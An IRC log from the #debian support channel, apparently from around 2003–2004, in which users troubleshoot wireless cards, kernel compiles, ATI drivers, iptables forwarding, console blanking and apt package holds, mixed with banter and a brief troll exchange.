| 01:41.24 | lazarus | fox-dalas: apt-cache show alien <-- type that |
| 01:41.25 | FsckIt | initech: everything else is crap.. that sucks |
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| 01:42.06 | initech | FsckIt: well everything else is windows anyway |
| 01:42.11 | fox-dalas | is it program? |
| 01:42.11 | Serial^away | how with telnet i can received files |
| 01:42.17 | lazarus | fox-dalas: apt-cache show alien <-- type that command |
| 01:42.26 | lazarus | Serial^away: don't use telnet! |
| 01:42.34 | lazarus | Serial^away: man scp |
| 01:42.50 | FsckIt | initech: *shrug* been doing that for the past couple years |
| 01:43.00 | FsckIt | initech: anyway.. I'm looking, so that's why I ask |
| 01:43.01 | DCH | lazarus: i dont follow you |
| 01:43.03 | icecold | lazarus: Telnet is fun for us then we can do some sniffing...! |
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| 01:43.23 | lazarus | DCH: you are not making sense |
| 01:43.23 | fox-dalas | i can't! I'm from win |
| 01:43.29 | lazarus | DCH: rephrase |
| 01:43.29 | Serial^away | lazarus i need telnet to receive ssh ;] |
| 01:43.36 | lazarus | fox-dalas: then you don't need it |
| 01:43.39 | initech | FsckIt: it's nice to have a pure unix gig, i don't know what to do with myself I'm so happy about it |
| 01:43.41 | icecold | fox-dalas: Go to Debian. |
| 01:43.42 | Serial^away | what is a command to do that |
| 01:43.51 | icecold | Serial^away: Why? |
| 01:43.58 | DCH | i need to tell debian, my os, that i installed a new network device |
| 01:43.58 | lazarus | Serial^away: no |
| 01:43.58 | cromd | fox-dalas, for that kind of thing, have you considered cygwin? |
| 01:44.10 | FsckIt | initech: when did you get the gig? |
| 01:44.10 | lazarus | DCH: man 5 interfaces |
| 01:44.17 | initech | a coupla months ago |
| 01:44.22 | Serial^away | icecold by telnet i wont to receive ssh program |
| 01:44.29 | lazarus | Serial^away: no |
| 01:44.34 | FsckIt | initech: well, that's good |
| 01:44.35 | icecold | Serial^away: use scp or sftp |
| 01:44.36 | fox-dalas | i can't! I from my friend and he heve not debian |
| 01:44.51 | lazarus | Serial^away: "telnet" doens't receive such |
| 01:44.52 | CSWookie_ | Is there something to watch out for inn the current sid gcc? |
| 01:45.02 | icecold | fox-dalas: then ssh to your box and try it. |
| 01:45.07 | DCH | my computer sees it, but when i typed the necessary info in the /etc/networks/interfaces it says eth1 device does not exist |
| 01:45.10 | lazarus | fox-dalas: if you are not on debian, you don't need a deb |
| 01:45.10 | Serial^away | huh shitz |
| 01:45.11 | CSWookie_ | I keep getting internal compiler errors when I try to make-kpkg |
| 01:45.18 | chacal | fox-dalas where are u from ? |
| 01:45.26 | lazarus | chacal: .ru |
| 01:45.27 | initech | FsckIt: after being unemployed for like 6 months, after having told my previosu boss to fuck himself |
| 01:45.32 | fox-dalas | chacal from Russia! |
| 01:45.38 | chacal | hmm |
| 01:45.53 | lazarus | chacal: figure out how to explain to him that he doens't need a .deb on ms |
| 01:46.04 | FsckIt | initech: well, I'm hoping I can do that in less than 6 months :-) |
| 01:46.24 | FsckIt | initech: (find new employment, I mean) |
| 01:46.26 | initech | FsckIt: i hope ... how old are you? |
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| 01:46.32 | chacal | lazarus i'm gonna make some coffee and think about that. |
| 01:46.35 | FsckIt | initech: 24 |
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| 01:46.54 | initech | FsckIt: that's good, I'm much older |
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| 01:47.06 | DCH | how do i correct a device does not exist error when the device does exist |
| 01:47.23 | initech | FsckIt: look at the local uni's, they usually have the better jobs |
| 01:47.26 | icecold | DCH: More info please. |
| 01:47.27 | DCH | like, a linux "add new hardware wizard" |
| 01:47.42 | b0x | linux hardware support blows |
| 01:47.53 | FsckIt | initech: ok |
| 01:48.00 | icecold | b0x: If you're a newbie and can't config. |
| 01:48.17 | b0x | icecold: if you like shitty os's |
| 01:48.26 | DCH | i put in my wireless card and the computer sees it, but when i load debian, it gives all kinds of device does not exist errors for eth1 |
| 01:48.28 | FsckIt | initech: I guess you find that there's not a lot of different opportunities around, eh? |
| 01:48.46 | icecold | b0x: If you're a newbie and can't config. |
| 01:48.49 | DCH | i loaded all the necessary info into /etc/networks/interfaces under eth1 |
| 01:48.52 | initech | b0x: it is what it is. you can always find outbeforehand if something will or won't work. "Linux" isn't hiding anything |
| 01:48.52 | lazarus | chacal: lol, bring me some, ,i need it |
| 01:49.04 | DCH | but when loading, it says device does not exist |
| 01:49.21 | tzafrir | DCH: what command do you run? |
| 01:49.29 | jholt | no b0x get it right hurd blows not linux |
| 01:49.30 | lazarus | b0x: Hardware-HOWTO is at tldp.org |
| 01:49.40 | DCH | just when booting |
| 01:49.42 | lazarus | b0x: whine/troll elsewhere now |
| 01:49.49 | b0x | lazarus shut the fuck up |
| 01:49.57 | bztunk | b0x: b& |
| 01:50.17 | initech | b0x: do you want help or just come in here and bitch?: |
| 01:50.24 | tzafrir | is it your network card? what card is it? |
| 01:50.32 | b0x | actually im just bored at the moment |
| 01:50.33 | lazarus | initech: i think you pegged it |
| 01:50.34 | b0x | ive been here |
| 01:50.37 | b0x | so i didnt just come here |
| 01:50.40 | lazarus | initech: he is here to troll |
| 01:50.46 | RichiH | b0x: wanna submit something useful? |
| 01:50.48 | initech | lazarus: exactly |
| 01:50.49 | b0x | lazarus shut the hell up |
| 01:50.57 | RichiH | k, last warning :) |
| 01:50.58 | DCH | Cisco Aeronet 350 |
| 01:51.12 | cromd | steady on box |
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| 01:51.20 | gravity | b0x: What's your problem with hardware support in linux? |
| 01:51.27 | b0x | radi0 |
| 01:51.30 | b0x | raid 0 |
| 01:51.30 | b0x | * |
| 01:51.32 | bztunk | can't anyone kick b0x? |
| 01:51.32 | initech | b0x: we all get a little pissed when something doesn't work, but we damn sure don't come whine about it on #debian |
| 01:51.39 | RichiH | gravity: don't taunt him, you will make me ban him ;=) |
| 01:51.50 | RichiH | bztunk: i will, at the next offense |
| 01:51.54 | holycow | too late |
| 01:51.56 | bztunk | RichiH: k |
| 01:51.58 | bztunk | heh |
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| 01:51.58 | gravity | RichiH: I'm working on a discover upload, and I wanted to see if it was something that would fix :-) |
| 01:52.01 | RichiH | ah, that's ok, too :) |
| 01:52.10 | RichiH | gravity: heh |
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| 01:52.19 | initech | raid 0 works perfectly in linux |
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| 01:52.32 | initech | and wtf does that have to do with "hardware"? |
| 01:52.40 | jholt | well it looks like b0x's OS can't even seem to manage running mirc and mantaining a Internet link |
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| 01:52.56 | icecold | and it has 3 ports open.... |
| 01:53.14 | RichiH | icecold: heh, old meanie ;) |
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| 01:53.29 | holycow | heheh eice :) |
| 01:53.39 | RichiH | all hail holy cow! |
| 01:53.44 | holycow | yo! |
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| 01:53.57 | RichiH | did i mention i like cows? |
| 01:54.01 | CSWookie | hail holy cow |
| 01:54.02 | jholt | i'm running softraid0 on my celeron debian box |
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| 01:54.31 | nmx | hi all.. i just got a radeon 9800 and am having trouble finding drivers for it. ati's site only has rpms, does anyone know how to use a radeon 9800 under debian? i'd be ok with just 2d support |
| 01:54.55 | gravity | nmx: One easy option is to use the vesa driver. It'll only be 2d support though. |
| 01:55.04 | gravity | nmx: You don't have to install or download anything special though |
| 01:55.13 | jholt | nmx apt-get install rpm && rpm -ivh --force --nodeps atidriver.rpm maybe? |
| 01:55.19 | icecold | nmx: only rpms, no binary? |
| 01:55.28 | RichiH | there was a time when i collected black and white cow stuff. this got to the point where everyone got me "cow" gifts for birthday, christmas, you name it. now the problem is everything you get in a black and white cow design is useless shit by definition. which is why i now hate cow colored stuff. but i like cows |
| 01:55.38 | nmx | icecold: all i've been able to find is the binary |
| 01:55.49 | holycow | <PROTECTED> |
| 01:55.57 | nmx | jholt: the problem is that some of the files in the rpm conflict with already installed packages |
| 01:55.58 | holycow | rich, you need a 12 step program :) |
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| 01:56.07 | RichiH | i just needed one |
| 01:56.07 | RainbowW | anybody ever messed with promise ide controllers? it seems like the devices attached are being renumbered -- my old hda/hdb etc are becoming like hdi/hdj ... how to control? |
| 01:56.25 | RichiH | i told everyone i know i would throw any cow-related present at them |
| 01:56.30 | nmx | jholt: and i don't want to screw up my packages |
| 01:56.35 | RichiH | problem solved |
| 01:56.39 | icecold | nmx: compile binary |
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| 01:57.13 | holycow | maybe your friends need a 12 step program :) |
| 01:57.17 | holycow | hehe j/k |
| 01:57.18 | holycow | :) |
| 01:57.23 | nmx | icecold: oops what i meant to say was, all i can find is the RPM |
| 01:57.28 | RichiH | RainbowW: almost impossible ttbomk - just alter you /etc/fstab - much less hassle |
| 01:57.40 | DCH | where do i put the "PCMCIA" option if i want it to start at boottime? |
| 01:57.52 | RichiH | i don't even know what a 12 step program is supposed to be |
| 01:58.01 | RainbowW | RichiH: http://www.aa.org |
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| 01:58.08 | tele | how to apt-get install a specific version of a package (from unofficial source)? |
| 01:58.13 | azreal | RainbowW: i think you can change that also by config'ing "boot off board controllers first" |
| 01:58.18 | FsckIt | RichiH: a program to get e.g. alcoholics clean |
| 01:58.38 | FsckIt | RichiH: handles dependency issues |
| 01:58.40 | RainbowW | RichiH: re messing with /etc/fstab, not an option -- the kernel is failing to mount root. |
| 01:58.51 | RichiH | org got two-letter domains? wtf |
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| 01:59.13 | RichiH | RainbowW: so? tell your kernel where your new root is :) |
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| 01:59.29 | kerneld | fu.org |
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| 02:00.26 | tele | how to apt-get install a specific version of a package (from unofficial source)? |
| 02:01.16 | Award | How can I move or copy files and have them renamed with an additional number at the back? |
| 02:01.25 | Award | (mv/copy with overwrite prevention) |
| 02:01.27 | Sebulba02 | DCH: thats controlled by an init script, if you installed the pcmcia package. |
| 02:01.37 | RichiH | hmm, those will be all taken :( |
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| 02:02.14 | azreal | Award: what number? |
| 02:02.19 | Award | (I have multiple directores all with the same filenames (file1, file2, file3, file4) etc, and I need them moved to the same dir (so I need to append file1-1, file2-1, etc to the back |
| 02:02.31 | RichiH | is there some list of all .org domains? |
| 02:02.35 | Award | or SOME character so they don't overwite the previous copy |
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| 02:02.44 | icecold | Award: script it. |
| 02:02.49 | DCH | it is installed, but i dont know how to modify the startup script |
| 02:03.03 | Sebulba02 | DCH: You don't need to. |
| 02:03.06 | Award | icecold: *sigh* Was hoping there would be something built into cp or mv, but I suppose I'll have to |
| 02:03.23 | Sebulba02 | Shell script will work. |
| 02:03.25 | icecold | Award: easy... know how to? |
| 02:03.29 | FsckIt | Award: if the directory names are unique, you might want to name it file1-dir instead (as an idea) |
| 02:03.49 | DCH | well, it is not seeing my pcmcia card, and i dont know how to tell it where it is |
| 02:04.28 | Sebulba02 | DCH: Do you have the module loaded for it at start time? |
| 02:04.41 | Award | FsckIt: Well I'm limited to an 8 character file-name |
| 02:04.47 | DCH | i wish i knew |
| 02:04.48 | Award | FsckIt: Which is why I have such silly names to begin with :) |
| 02:04.52 | nmx | gravity: thanks for the tip (about using the vesa driver) .. at least i'm getting 2d support |
| 02:05.22 | FsckIt | Award: planning on having the names on DOS machines or something? (Linux doesn't limit to 8 characters, by the way) |
| 02:05.28 | Award | icecold: I realize it's simple, I would have just figured it was built in :) |
| 02:05.56 | DCH | Sebulba02 how do i tell it to load a module at start time |
| 02:05.58 | Award | FsckIt: A CD player that can play mp3 (not ogg sadly), but only can read 8 character file-names :) |
| 02:06.01 | DCH | i am a SUPER noob |
| 02:06.17 | Award | FsckIt: I'm merging a ton of CDs onto a single disc for ease of transportation :) |
| 02:06.21 | icecold | Award: You should be able to do it with no problem. Tell me if you need help. |
| 02:06.21 | Sebulba02 | DCH: Hmm, 'lsmod' will give you a list of modules loaded. |
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| 02:06.40 | DCH | but how do i add one if it is ont |
| 02:06.43 | DCH | not |
| 02:06.55 | Award | icecold: I'm half tempted to whip it up in C over a few days and add it to the cp and mv trees :) |
| 02:06.58 | FsckIt | Award: eww.. I see |
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| 02:07.32 | Sebulba02 | DCH: Well, if its not starting at boot time, I'd say its not. You need to find out what module you need. |
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| 02:07.44 | FsckIt | Award: I doubt that the cp/mv maintainers would accept it (the Unix philosophy is to have lots of small tools that work together) |
| 02:07.52 | icecold | Award: If you do it all the time, that may be a solution. Otherwise bash script will work fine and symbolic links to bin directory are nice. |
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| 02:08.22 | somiaj | DCH: well you should do some reading, being new still means you can read, read the debian install manuall, also check out /usr/share/doc/<pkg name> for packages you not sure about, and man files are also nice, for your current issue 'man modprobe' |
| 02:08.36 | CSWookie | Has anyone gotten a seg fault while compiling a 2.4.22 ernel for an Athalon XP (K7) machine? I'm getting one in the midst of compiling module.c at line 1017 |
| 02:08.36 | FsckIt | Award: so, you might want to go the route of having a command that will give back the name you want given the name it currently is |
| 02:08.45 | DCH | thank you |
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| 02:08.52 | DCH | i needed something to read |
| 02:08.53 | Award | FsckIt: It's a feature that would be expected to be a wildcard based mv (mv file* file*-1 |
| 02:09.20 | FsckIt | Award: ahh.. but wildcards are handled by the shell |
| 02:09.44 | FsckIt | Award: check to see if you have a rename(1) command on your machine, now that I think about it |
| 02:09.48 | somiaj | CSWookie: getting a segfault while compiling a kernel could mean bad memory. |
| 02:10.04 | shamoun | i just got a 180 gig hard drive for 70 bux |
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| 02:10.16 | icecold | Award: just bash script it already. It's a very trival problem that doesn't need everyones time to waste! :) Good luck. |
| 02:10.26 | CSWookie | somiaj: Thanks... this haas been suspected of this machine. Do you know if there is a program i can use to test which stick is bad, if any? |
| 02:10.44 | plugwash | the kernel compile you are doing? |
| 02:10.55 | plugwash | just unplug them one at a time and see what happens |
| 02:11.17 | somiaj | CSWookie: apt-get install memtest86 and then read the docs in /usr/share/doc/memtest86 (it gives you a boot image you can boot off of and test your memory, though the test could take a while) |
| 02:11.33 | CSWookie | somiaj: Thanks much |
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| 02:14.09 | jnagyjr | quiet this evening isn't it? |
| 02:15.29 | RichiH | so, a cucumber and a banana go into a bar... |
| 02:15.31 | RichiH | ;) |
| 02:15.34 | icecold | Debian is just this good. |
| 02:15.39 | RichiH | heh |
| 02:15.44 | somiaj | jnagyjr: not really, you just hit a quite spot |
| 02:16.19 | icecold | This is where everyone just goes and grabs a beer. |
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| 02:16.33 | somiaj | icecold: I wish...(: |
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| 02:16.41 | FsckIt | RichiH: RMS, Bill Gates, Linus, and Darl McBride walk into a bar... |
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| 02:17.19 | RichiH | shoot BG and DM, slap RMS, buy LT a beer, and? ;) |
| 02:17.31 | FsckIt | RichiH: heh |
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| 02:18.17 | RichiH | FsckIt: well, continue |
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| 02:19.51 | FsckIt | RichiH: yeah... as if that would happen :-) |
| 02:20.43 | RichiH | heh |
| 02:20.44 | FsckIt | RichiH: I was just continuing the set-up-a-joke-and-not-finish-it routine |
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| 02:21.02 | RichiH | toresb told a nice one, today |
| 02:21.09 | RichiH | why do scots wear kilts? |
| 02:21.25 | FsckIt | RichiH: because the sheep can hear a zipper from a mile away |
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| 02:21.27 | RichiH | because sheep will hear a zipper from miles away |
| 02:21.30 | RichiH | bleh |
| 02:21.33 | FsckIt | heh |
| 02:21.39 | hpbruna | i just compile my kernel and i got a lot of unresolved symbols when loading a module |
| 02:21.46 | cheecheeo | ROTFL |
| 02:21.46 | hpbruna | any ideas why? |
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| 02:21.52 | cheecheeo | *laughs* |
| 02:21.58 | master | because u didnt FSCK it? |
| 02:22.11 | somiaj | hpbruna: what kernel? |
| 02:22.18 | hpbruna | somiaj, 2.4.23 |
| 02:22.19 | master | hrm that wasnt very funny :D |
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| 02:23.01 | somiaj | hpbruna: you have a recent verions of modutils installed? |
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| 02:23.08 | master | im gonna go watch my custom kernel compile some more :^) |
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| 02:23.26 | hpbruna | yes |
| 02:23.32 | isaac_ | why is my clock constantly slowing down with 2.6.0? :/ |
| 02:23.45 | hpbruna | somiaj, 2.4.25-3 |
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| 02:24.45 | somiaj | hpbruna: you could try to install module-init-tools (I know they are needed for 2.6.0 kernels but not sure on 2.4.23) |
| 02:25.21 | somiaj | isaac_: who knows, to fix it, add a chron job to run ntpdate every so often to keep it on time...(: |
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| 02:26.44 | isaac_ | somiaj: :D |
| 02:27.00 | isaac_ | somiaj: fwiw, module-init-tools isn't required on 2.4.x |
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| 02:27.35 | jnagyjr | hey, what's the command that not only tells uptime, but kernel version, distro, etc. |
| 02:27.42 | icecold | uptime |
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| 02:27.48 | jnagyjr | that just tells uptime. |
| 02:27.57 | somiaj | isaac_: that is what I thought, but wasn't sure.... |
| 02:27.57 | icecold | uname -a |
| 02:28.04 | jnagyjr | danke |
| 02:28.15 | somiaj | jnagyjr: look in the /proc dir, cat /proc/version is nice |
| 02:28.46 | jnagyjr | I got the info I needed, though. (: I'll remember cat /proc/version for next time (: |
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| 02:29.16 | ulitz | is there any command to format man pages into printer friendly |
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| 02:29.37 | jnagyjr | what about using a2ps, then ps2pdf? |
| 02:29.37 | dondelelcaro | ulitz: there are quite a few... |
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| 02:30.21 | \zxc | How can I enable my linux machine to become a 'router', forwarding packets directed to specific hosts to my internal LAN machines? |
| 02:30.35 | ulitz | dondelelcaro: like what? |
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| 02:30.43 | icecold | \zxc: iptables |
| 02:30.45 | somiaj | \zxc: look into iptables |
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| 02:31.29 | \zxc | Yes, I've heard you can do it with iptables and masq, but I can't find anything that tells me how to do specifically what I want to do. |
| 02:31.48 | master | eep my kernel compile just failed... |
| 02:32.01 | icecold | \zxc: Look into shorewall, it simplifies it and has nice documentation via the web |
| 02:32.02 | dondelelcaro | ulitz: just man foo |a2ps -m |
| 02:32.26 | dondelelcaro | ulitz: there are also man to LaTeX, and quite a few other man2ps converters. |
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| 02:33.00 | tamran | how do I stop the blank screen on my computer? If I'm playing video games for more than like 10 min, the screen goes blank. It's frustrating ... :( How do I turn that off? |
| 02:33.16 | somiaj | \zxc: you can use iptables to set rules on what that machine does with packets, forwards them, routes them, dropes them, etc.....though you do have to set up the rules or use something like icecold mentioned. |
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| 02:33.52 | \zxc | hm |
| 02:33.58 | somiaj | tamran: use setterm for consoles, to stop the power saving option in X coment out the DMPS optoin under the monintor. |
| 02:34.01 | icecold | \zxc: Shorewall uses iptables and simplifies it probably 900%! :) |
| 02:34.04 | \zxc | thanks |
| 02:34.17 | tamran | somiaj, ok, thanks |
| 02:34.33 | jnagyjr | screenshouldn't go blank though while it's being used. That's just...odd. |
| 02:34.36 | chacal | is there anyway to start reading a file from its final line? |
| 02:34.44 | chacal | using nano, or pine |
| 02:34.48 | icecold | tail |
| 02:34.50 | dondelelcaro | chacal: tac |
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| 02:34.59 | icecold | or cat backwards. |
| 02:34.59 | somiaj | tamran: that optoin is in the XF86Config-4.......though as jnagyjr mentioned it is odd if you are playing the game. |
| 02:35.18 | tamran | somiaj, I'm playing with joystick |
| 02:35.34 | jnagyjr | tamran: Still, the screen is active. |
| 02:35.35 | tamran | I think the blank screen looks for keyboard or mouse input |
| 02:35.39 | chacal | icecold dondelelcaro thanks |
| 02:35.59 | tamran | there's not DPMS option in XF86Config-4 |
| 02:36.15 | icecold | tamran: only need that for x |
| 02:36.26 | icecold | tamran: just console, setterm |
| 02:36.33 | jnagyjr | tamran: Does your monitor have a power saving setting built into it? If so disable it directly in the monitor. |
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| 02:37.04 | tamran | the screen just goes blank, the monitor doesn't shut down |
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| 02:37.23 | tamran | I don't use any DPMS stuff on my system yet ... I don't really need it |
| 02:37.23 | somiaj | tamran: its under Section "Monitor" then has the Option "DPMS", if that is not that maybe its your xscreensaver or xlock. |
| 02:37.23 | jnagyjr | tamran: I know, same thing happens to mine, but only if there is nothing going on at all. |
| 02:37.25 | \zxc | somiaj: Yeah, I know it involves iptables, but I'm not sure how to route anything to a certain hostname to a specific machine on the internal LAN |
| 02:37.51 | icecold | \zxc: masq |
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| 02:38.14 | \zxc | icecold: Yes, I know it involves masq as well... |
| 02:38.26 | \zxc | But saying it again doesn't help. :P |
| 02:38.29 | somiaj | \zxc: that will depend on what you want to route, the most common is to say antying sent to this port (say 80 (http) for instance) is routed to this machine on the internal lan. |
| 02:38.46 | tamran | how do I know how setterm is set up now? |
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| 02:38.57 | \zxc | hm |
| 02:39.04 | jnagyjr | mmmmm...free hardware |
| 02:39.39 | Rocker | exit |
| 02:39.44 | isaac_ | \ |
| 02:39.44 | \zxc | What if I wanted to do like apache vhosts... forward anything that is directed to foo2.bar.com to 10.0.0.2 and anything directed to foo3.bar.com to 10.0.0.3 ? |
| 02:39.47 | somiaj | tamran: man setterm will tell you how to use it, though that only affects consol blanking. |
| 02:40.00 | isaac_ | \zxc: iproute2 + QoS can do port forwarding i think |
| 02:40.35 | tamran | somiaj, I read the man page already ... nothing about "blank" .. a bunch of stuff about VESA modes, but that's not the problem I'm having. If I'm in console the screen doesn't go blank |
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| 02:40.56 | isaac_ | tamran: DPMS? |
| 02:40.57 | tamran | I think it must be with the XF86Config-4 file |
| 02:41.09 | jnagyjr | isaac_: He says he doesn't have DPMS installed. |
| 02:41.15 | \zxc | How could I do what I described? :/ |
| 02:41.16 | isaac_ | jnagyjr: my bad |
| 02:41.20 | somiaj | tamran: from the man page, ' -blank [0-60] (virtual consoles only)' 'Without an argument, defaults to 0 (disable console blanking).' |
| 02:41.21 | isaac_ | \zxc: iproute2 + QoS can do port forwarding i think |
| 02:41.23 | jnagyjr | iscsi: It's okay |
| 02:41.28 | jnagyjr | isaac_: It's okay |
| 02:41.28 | re_garcia | How can I improve my mozilla fonts? |
| 02:41.30 | \zxc | Yes, port forwarding but... |
| 02:41.33 | \zxc | What if I wanted to do like apache vhosts... forward anything that is directed to foo2.bar.com to 10.0.0.2 and anything directed to foo3.bar.com to 10.0.0.3 ? |
| 02:41.39 | isaac_ | \zxc: i think it does what you want. |
| 02:41.46 | isaac_ | \zxc: sorry for the lazy repeat :) |
| 02:41.59 | mast_one | how do you cleanup apt-get cache? it has stuff that has been removed and still complains |
| 02:42.02 | \zxc | no worries :) |
| 02:42.03 | \zxc | and thanks |
| 02:42.15 | jnagyjr | master: apt-get clean ? |
| 02:42.22 | icecold | \zxc: /etc/hosts |
| 02:42.36 | \zxc | er |
| 02:42.37 | mast_one | jnagyjr: it is not helping |
| 02:42.39 | jnagyjr | mast_one: apt-get clean ? |
| 02:42.45 | \zxc | hm |
| 02:42.49 | jnagyjr | mast_one: Sorry for repeat. Odd. |
| 02:43.01 | \zxc | yeah |
| 02:43.03 | \zxc | thanks :) |
| 02:43.19 | somiaj | \zxc: look into what you can do, but if the packet contains the info as to what vhost its heading for then you can use that to foward it to what ever machine you want, you might also be able to set up a rotation where it would cycle though your vhosts as it comes to the routher. |
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| 02:43.35 | mast_one | jnag: its qmail installation stuff. somehow it is seeing dependencies from the old install. |
| 02:44.00 | mast_one | is it possible to nuke all dependecnies from the apt-get database/cache? |
| 02:44.16 | simonrvn | re_garcia: apt-get install mozilla-xft |
| 02:44.35 | jnagyjr | mast_one: I haven't a clue. I have the same problem with KDE stuff but that's only 'cause I grab from stable, testing and experimental as needed. |
| 02:44.54 | mo699898 | anyonw know of nforce2 drivers for 2.6? |
| 02:45.14 | jnagyjr | mast_one: that and I have download.kde.org as a an apt-source so I can get KDe 3.1.4 (which really doesn't matter now that I use windowmaker) |
| 02:45.29 | somiaj | mast_one: what do you mean nuke all dependecnies? |
| 02:45.54 | jnagyjr | somiaj: I think he wants to keep apt-get from seeing dependencies from the old qmail now that he has the new qmail. |
| 02:46.05 | master | <PROTECTED> |
| 02:46.33 | somiaj | mo699898: I belive there are some built into it, though if you want the nvidia ones you'll have to wait till they get off their ass and make some 2.6.0 drivers, or see if there are any patches like there are for the nvidia video drivers. |
| 02:46.35 | isaac_ | master: patch -p0 < /path/to/patch |
| 02:46.39 | master | ahh |
| 02:46.45 | isaac_ | master: or cat patch > patch -p0 |
| 02:46.48 | tamran | setterm -blank 0 |
| 02:46.53 | isaac_ | master: it's waiting for input :) |
| 02:46.53 | tamran | that's how to do it |
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| 02:47.10 | somiaj | tamran: and that info is in the man page. |
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| 02:47.27 | tamran | somiaj, I know, it took me 3 reads to get it :) |
| 02:47.28 | mo699898 | somiaj: really i just need the onboard ethernet drivers but i dont see them in the config, i could be blind tho |
| 02:47.38 | jnagyjr | Linux man pages, the key to Linux nirvana. |
| 02:47.49 | tamran | somiaj, I just wanted to provide resolution in case anyone else was interested :) |
| 02:48.05 | somiaj | mo699898: oh I just rember seeing ide drivers, as for the onboard ethernet drivers, that would probably depend on what ethernet chip they are using. |
| 02:48.07 | isaac_ | jnagyjr: or info pages. |
| 02:48.16 | jnagyjr | isaac_: info pages? |
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| 02:48.32 | simonrvn | yes, info pages |
| 02:48.36 | isaac_ | info pages |
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| 02:48.36 | somiaj | tamran: '/' searches in man, less and lots of other apps, quite nice to find keywords like 'blank'...(: |
| 02:48.38 | isaac_ | info info |
| 02:48.38 | isaac_ | heh |
| 02:48.40 | jnagyjr | never heard of 'em. |
| 02:48.48 | chacal | is there anybody from Brasil here ? |
| 02:48.52 | tamran | somiaj, oh ... I didn't know that :) |
| 02:48.57 | tamran | thanks man |
| 02:49.03 | jnagyjr | coolness |
| 02:49.10 | re_garcia | chacal : ola! |
| 02:49.19 | chacal | re_garcia ola ;) |
| 02:49.30 | chacal | re_garcia vc sabe se a rede brasnet ta fora do ar? |
| 02:49.48 | jnagyjr | In addition to the thousands of founts, hundreds of games and innumerable man pages, there are now info pages. Muahahahaha. Thanks for the info. ;) |
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| 02:49.56 | re_garcia | simonnvrn: I get a mozilla-xft: Depends: mozilla-browser (= 2:1.5-3) |
| 02:50.00 | jnagyjr | founts = fonts |
| 02:50.44 | simonrvn | re_garcia: which means you need to have mozilla installed :). or it's some depends issue. it'll get fixed if it's the latter |
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| 02:51.02 | chacal | re_garcia ? |
| 02:51.05 | re_garcia | chacal: no |
| 02:51.08 | somiaj | jnagyjr: I have never understanded the reason for lots of fonts, I use like 5-10 max...(: |
| 02:51.19 | jnagyjr | Fonts are like sex, you can never have too much. |
| 02:51.24 | chacal | re_garcia acho que a brasnet ta fora do ar. enfim, vamos falar de debian aqui :P |
| 02:51.32 | jnagyjr | I scan a lot of pics and I like to use different fonts for different effects. |
| 02:51.55 | somiaj | jnagyjr: hmm, that's scary comparing fonts and sex.... |
| 02:52.04 | jnagyjr | soml: lol |
| 02:52.11 | jnagyjr | somiaj: lol |
| 02:52.12 | re_garcia | simonrvn: ok... I get a mozilla-browser is already the newest version. when I try to install it... |
| 02:52.13 | jnagyjr | gah. |
| 02:52.17 | jnagyjr | I need better eyes |
| 02:52.22 | simonrvn | re_garcia: what's the version? |
| 02:52.42 | re_garcia | simonrvn: how do I check that? |
| 02:52.53 | simonrvn | dpkg -l <package_name> |
| 02:52.54 | dpkg | ii <package_name> 2.7-4 simonrvn's private gamp collection |
| 02:52.57 | somiaj | jnagyjr: reminds me of a pin, its written in really small letters saying 'lack of sex causes bad eyesight' |
| 02:53.00 | simonrvn | woohoo |
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| 02:53.13 | isaac_ | dpkg -l pron |
| 02:53.14 | master | somiaj : well for those of use who are relient on graphics editing (ie gimp/photoshop) they cant have too many, however i probably never use more than 3 :D |
| 02:53.14 | dpkg | ii pron 1.4-5.3 ultra s3kr1t #debian package |
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| 02:53.16 | jnagyjr | somiaj: I can vouch for that. |
| 02:53.16 | isaac_ | whee |
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| 02:53.58 | tuxillo | Hi there :) |
| 02:54.01 | jnagyjr | master: I'm not reliant on it, I just like to do it on occassion. Sometimes I like to believe I'm a webdesigner/web host |
| 02:54.08 | somiaj | master: yea its nice to have a varity of nice fonts, but most are crap so having tons of crap doesn't suit me...(: |
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| 02:54.20 | nictuku | how can i see the debian menus translated? my locale env vars are set, and I saw in the menu package source tthat there is a translation to my language. |
| 02:54.22 | re_garcia | simonnvr : nmozilla-browse 1.0.0-0.woody |
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| 02:54.39 | tuxillo | I got a lot of hang ups with my Asus A7N8X Deluxe, but I can't find the problem. I think it is because my nforce2 chipset :(( |
| 02:54.42 | moberry | does anyone know where a udev howto is? |
| 02:54.50 | jnagyjr | Actually, so far from what I've seen, the fonts I grabbed are rather awesome. |
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| 02:55.25 | simonrvn | moberry: check kernel.org |
| 02:55.40 | moberry | i did, there is just an faq |
| 02:56.23 | tuxillo | Does anyone know hang ups with nforce2 chipset? |
| 02:56.38 | jnagyjr | tuxillo: I use ATI, so no. Sorry. |
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| 02:57.04 | tuxillo | jnagyjr: ATI chipset? I mean chipsets on Asus motherboards |
| 02:57.27 | Zone | tuxillo: don't you need a binary module for the ethernet with nf2? |
| 02:57.45 | master | its a beauteful thing, seeing a kernel compile |
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| 02:57.49 | tuxillo | Zone: I use a driver from kernel that works fine :) |
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| 02:58.02 | chacal | i love debian ;) |
| 02:58.13 | chacal | as i love struts + hibernate |
| 02:58.17 | tuxillo | I cannot determine where it comes the hang ups |
| 02:58.29 | jnagyjr | master: It'd be a beautiful thing to see anything compile on my box. *growls* |
| 02:58.30 | master | chacal well i wish i could say that but thus far i havent been able to get X working |
| 02:58.31 | Zone | tuxillo: hrm, you know which one? Just curious |
| 02:58.51 | jnagyjr | master: Have you tried XFree86 4.3? |
| 02:58.53 | master | jnagyjr whats wrojng with your box? |
| 02:59.02 | jnagyjr | master: Flakey hardware |
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| 02:59.11 | chacal | master do u know the reason? is it the board? or just config issues ? |
| 02:59.12 | master | jnagyjr no im still working with the debian 3.0r2 stable |
| 02:59.37 | jnagyjr | master: *nods* Don't know what to tell ya then. To get X working I had to grab 4.3 |
| 02:59.44 | chemicallyrelian | same here. mandrake 9.1 runs X fine, but deb3.0 is bombing out |
| 02:59.48 | jnagyjr | r2? |
| 02:59.48 | djw | what's the factroid in apt about package holds? |
| 02:59.51 | tuxillo | Zone: 3c590/3c900 series "Vortex/Boomerang" support |
| 03:00.06 | master | chacal i know the board is good and i can get it working fine in knoppix, its just this damn geforce4 ti 4200 and nvidia drivers |
| 03:00.06 | simonrvn | @+hold |
| 03:00.08 | ravenbird | i heard hold is a status flag to tell apt not to automatically upgrade a package. apt will place packages on hold if they require packages that are not currently installable; you can 'apt-get install pkgname' to explicitly install the package. To put a package on hold, 'echo pkgname hold | dpkg --set-selections' or use the '=' key on the package in dselect, or 'echo pkgname install | dpkg --set-selections' to remove the hold |
